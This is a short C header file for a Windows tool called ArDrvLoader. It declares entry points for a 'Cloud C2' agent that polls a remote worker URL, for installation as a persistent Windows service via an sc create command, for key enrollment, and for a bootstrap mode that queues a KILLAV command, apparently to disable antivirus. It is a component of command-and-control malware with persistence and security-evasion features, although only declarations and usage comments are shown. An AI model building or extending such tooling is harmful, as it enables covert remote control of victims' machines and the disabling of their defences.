21 lines
856 B
C
21 lines
856 B
C
#pragma once
|
|
|
|
#include <windows.h>
|
|
|
|
// Cloud C2 mode. Call as:
|
|
// ArDrvLoader.exe -cloud [options] [agent] <url> <secret> [interval_ms]
|
|
int RunCloudAgent(int argc, wchar_t** argv);
|
|
|
|
// Windows service entry point. Install with:
|
|
// sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent"
|
|
int RunCloudService(int argc, wchar_t** argv);
|
|
|
|
// One-time enrollment: fetches this agent's own key from the worker and stores
|
|
// it next to the host tracking file.
|
|
// ArDrvLoader.exe -enroll --url <worker> --agent <id> --enroll-secret <token>
|
|
int RunEnroll(int argc, wchar_t** argv);
|
|
|
|
// Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV.
|
|
// ArDrvLoader.exe -bootstrap --url <worker> --operator-key <key> [--secret <s>] [--agent <id>]
|
|
int RunBootstrap(int argc, wchar_t** argv);
|